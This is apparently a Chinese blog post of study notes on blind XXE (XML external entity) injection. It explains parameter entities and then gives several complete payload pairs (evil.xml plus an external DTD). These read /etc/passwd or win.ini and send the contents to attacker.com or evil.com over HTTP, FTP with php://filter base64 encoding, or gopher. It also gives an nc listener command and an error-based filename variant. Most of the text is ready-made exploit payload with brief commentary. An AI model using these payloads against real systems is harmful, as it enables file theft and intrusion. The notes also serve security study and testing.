【注入】xml盲注

OOB(Out-Of-Band):外带数据
多数情况下,能直接返回目标内容的攻击场景很少,因此需要一些技巧
来获取我们想要的数据。
• 参数实体(Parameter Entity):
如果说实体是XML节点中引用的内容,那么参数实体就是实体中引
用的内容。
<!ENTITY % name "foo">
<!ENTITY copyright "copyright © 2008, %name;.cn, ALL Right Reserved
">
1)参数实体只能在DTD声明中使用。
2)参数实体中不能再引用参数实体。

<!--http带外通信-->
<!--evil.xml-->
<?xml version="1.0"?>
<!DOCTYPE root[
    <!ENTITY % file SYSTEM "file:///etc/passwd">
    <!ENTITY % dtd SYSTEM "http://attacker.com/ext.dtd">
    %dtd;
    %send;
]>
<zabbix_export></zabbix_export>
<!--ext.dtd-->
<!--嵌套参数实体的‘%’需要其十进制或16进制编码格式即%或%-->
<!ENTITY % all "<!ENTITY % send SYSTEM 'http://attacker.com/?%file;'>">%all;

PHP环境下可以使用php://filter
php://filter/read=convert.base64-encode/resource=/etc/hosts
利用FTP协议外带数据
两者相结合

<!--evil.xml-->
<?xml version="1.0"?>
<!DOCTYPE a[
<!ENTITY % asd SYSTEM "http://attacker.com/evt.dtd">
%asd;
%c;
%rrr;
]>
<a></a>
<!--ext.dtd-->
<!ENTITY % b SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd">
<!ENTITY % c "<!ENTITY % rrr SYSTEM 'ftp://evil.com:8000/%b'>">

Gopher:古老的信息查找协议 【Java1.6】
格式:gopher://{host}:{port}/{type}{request}
• type:为一位整型数字
• request:任意要发送的请求内容,使用URL格式编码。

在服务器中使用NC监听指定端口:
nc –lnp 1337

<?xml version="1.0"?>
<!DOCTYPE a[
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % dtd SYSTEM "http://attacker.com/evt.dtd">
%dtd;
]>
<a></a>
<!--ext.dtd-->
<!ENTITY % all "<!ENTITY % rrr SYSTEM 'gopher://ip:8080/1%file'>">%all;

无效文件名构造主动报错
evil.xml

<?xml version="1.0"?>
<!DOCTYPE a[
<!ENTITY % one SYSTEM "http://attacker.com/ext.dtd">
%one;
%two;
%four;
]>
<!--ext.dtd-->
<!ENTITY % three SYSTEM "file:///c:/windows/win.ini">
<!ENTITY % two SYSTEM "<!ENTITY % four SYSTEM 'file:///%three'>">

资料来源:5-XML实体攻击:从内网探测到命令执行步步惊心-张天琪.pdf

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

推荐阅读更多精彩内容

  • 因为公司里做商城开发用的是OpenCart,上级让我先熟悉这个系统,借此机会详细解读一下商品管理这一功能(也是为了...
    山有木兮_卿有意阅读 1,715评论 0 2
  • 1. Java基础部分 基础部分的顺序:基本语法,类相关的语法,内部类的语法,继承相关的语法,异常的语法,线程的语...
    子非鱼_t_阅读 31,872评论 18 399
  • 一套实用的渗透测试岗位面试题,你会吗? 1.拿到一个待检测的站,你觉得应该先做什么? 收集信息 whois、网站源...
    g0阅读 4,951评论 0 9
  • Spring Boot 参考指南 介绍 转载自:https://www.gitbook.com/book/qbgb...
    毛宇鹏阅读 47,005评论 6 342
  • 一. Java基础部分.................................................
    wy_sure阅读 3,875评论 0 11